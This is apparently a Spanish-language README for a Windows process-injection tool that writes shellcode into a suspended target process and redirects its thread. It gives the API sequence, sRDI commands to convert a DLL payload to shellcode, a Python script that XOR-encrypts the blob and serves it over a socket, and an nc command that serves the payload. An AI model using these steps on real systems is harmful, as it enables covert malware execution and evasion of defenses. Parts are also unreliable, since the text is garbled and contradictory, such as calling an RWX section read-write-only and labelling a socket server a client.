Process Injection: Técnica de Ejecución de Código Malicioso
Una variación del proceso de reescritura de hasherezade
Introducción
La técnica de Sobregiro de Proceso es una variación del proceso de reescritura de hasherezade que permite ejecutar códigos shell en la sección de un programa objetivo. A continuación se detallan los pasos principales de esta técnica:
CreateProcess
: Se establece la marca de creación de procesos para suspender el hilo principal del proceso (usandoCREATE_SUSPENDED
o0x00000004
).WriteProcessMemory
: Es usado para escribir cada código shell malicioso en la sección de proceso del objetivo.SetThreadContext
: Sirve para indicar el punto de entrada al nuevo código en una sección que ha sido escrita previamente.ResumeThread
: Continúa la ejecución del hilo.
Un ejemplo de aplicación de esta técnica consiste en usar sRDI para cargar un archivo DLL con un payload en una sección ejecutable de solo lectura y escritura (RWX) en un programa objetivo. En el siguiente diagrama se describen los pasos involucrados:
Advertencia: Toda la información y contenido se proporciona únicamente con fines educativos. Sigue las instrucciones bajo tu propio riesgo. El autor y su empleador no son responsables de cualquier daño directo o indirecto que pueda resultar de cualquier persona o organización.
Créditos: Este trabajo ha sido posible gracias al conocimiento y herramientas compartidas por Aleksandra Doniec @hasherezade e Nick Landers.
Uso
Selecciona tu proceso objetivo y modifica las variables globales según corresponda en ProcessStomping.cpp
. Compila el proyecto sRDI y asegúrate de que el salto sea suficiente como para saltarse sobre tu bloque de código shell generado con sRDI. Actualiza las herramientas de sRDI:
cd \\sRDI-master
python .\\lib\\Python\\EncodeBlobs.py .\\
Genera un payload DLL reflectivo sin carga para un archivo dll de tu elección y luego genera un blob de shellcode de sRDI:
python .\\lib\\Python\\ConvertToShellcode.py -b -f "changethedefault" .\\noRLx86.dll
import socket
def xor(data, key):
return bytes([data[i] ^ key[i % len(key)] for i in range(len(data))])
with open("noRLx86.bin", 'rb') as f:
data = f.read()
enc_data = xor(data, b'clave')
with open('noRLx86_enc.bin', 'wb') as f:
f.write(enc_data)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = ('localhost', 8000)
sock.bind(server_address)
sock.listen(1)
print(f'Esperando conexiones en {server_address}')
conn, addr = sock.accept()
print(f'Conectado con {addr}')
conn.sendall(enc_data)
conn.close()
Descarga el blob XOR mediante un cliente de socket simple en Python:
nc -vv -l -k -p 8000 -w 30 < noRLx86_enc.bin
Después de la ejecución, el blob de sRDI desaparecerá para eliminar artefactos innecesarios.
Precauciones: Para éxito en la ejecución de esta técnica, debes seleccionar el proceso objetivo correcto y utilizar un archivo DLL con un payload que no tenga un cargador reflexivo definido por el usuario.